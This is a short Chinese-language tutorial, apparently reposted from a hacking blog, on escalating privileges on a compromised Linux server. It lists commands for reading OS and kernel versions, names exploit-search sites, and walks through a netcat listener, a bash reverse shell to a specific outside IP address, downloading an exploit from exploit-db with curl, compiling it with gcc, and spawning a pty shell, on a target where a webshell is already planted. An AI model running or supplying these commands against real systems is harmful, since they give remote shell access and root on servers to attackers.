Linux提权学习

华盟原创文章投稿奖励计划

系统漏洞提权

1、获取操作系统版本号

2、根据版本号搜索exp

3、反弹shell

4、尝试利用

1、获取系统版本号

获取发行版本

• cat /etc/issue

• cat /etc/*-release

• cat /etc/lsb-release

• cat /etc/redhat-release

获取内核版本

• cat /proc/version • uname -a • uname -mrs

• rpm -q kernel

• dmesg | grep Linux

• ls /boot | grep vmlinuz

2、搜索exp获取内核版本

 http://www.exploit-db.com • http://1337day.com • http://www.securiteam.com • http://www.securityfocus.com • http://www.exploitsearch.net • http://metasploit.com/modules/ • http://securityreason.com • http://seclists.org/fulldisclosure/ • http://www.google.com

3.反弹shell

自己主机使用nc监听端口

nc -l -p 8080

目标服务器运行

/bin/bash -i >& /dev/tcp/114.115.214.203/8888 0<&1

实例演示:

此时http://10.22.5.70/dahuiji.php 已经取得一个webshell

Linux提权学习

Linux提权学习

首先获取操作系统版本号

Linux提权学习

Linux提权学习

搜索exp

Linux提权学习

Linux提权学习

反弹shell

/bin/bash -i >& /dev/tcp/114.115.214.203/8888 0<&1

Linux提权学习

Linux提权学习

尝试利用exp

Linux提权学习

curl https://www.exploit-db.com/download/35370 > exp.c

Linux提权学习

gcc编译一下 exp.c 生成exp

gcc exp.c -o exp -lpthread

Linux提权学习

Linux提权学习

使用

python -c ‘import pty; pty.spawn(“/bin/bash”)’ 

增加交互的

python -c ‘import pty; pty.spawn(“/bin/bash”)’

效果

Linux提权学习

文章来源:HACK学习呀

本文原创,作者:fox,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/229795.html

发表评论